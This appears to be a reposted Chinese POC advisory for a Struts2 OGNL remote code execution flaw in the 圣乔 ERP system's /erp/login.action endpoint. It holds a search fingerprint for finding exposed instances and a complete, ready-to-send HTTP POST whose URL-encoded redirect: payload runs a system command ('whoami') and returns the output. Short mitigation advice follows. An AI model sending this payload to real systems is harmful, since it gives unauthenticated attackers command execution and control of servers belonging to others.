由于圣乔ERP系统使用Struts2开发框架组件,存在历史Struts2远程代码执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统命令,写入后门文件,获取服务器权限。
title="圣乔ERP系统"
POST /erp/login.action HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
redirect:%24%7B%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23dis%3Dnew+java.io.DataInputStream%28%23b%29%2C%23buf%3Dnew+byte%5B20000%5D%2C%23dis.read%28%23buf%29%2C%23msg%3Dnew+java.lang.String%28%23buf%29%2C%23dis.close%28%29%2C%23resp.getWriter%28%29.println%28%23msg.trim%28%29%29%2C%23resp.getWriter%28%29.flush%28%29%2C%23resp.getWriter%28%29.close%28%29%7D
nuclei
afrog
xray
1、关闭互联网暴露面或接口设置访问权限
2、对用户传入的参数进行限制。
3、通过防火墙等安全设备设置访问策略,设置白名单访问。
原文始发于微信公众号(nday POC):圣乔ERP系统 login.action Struts2远程代码执行漏洞
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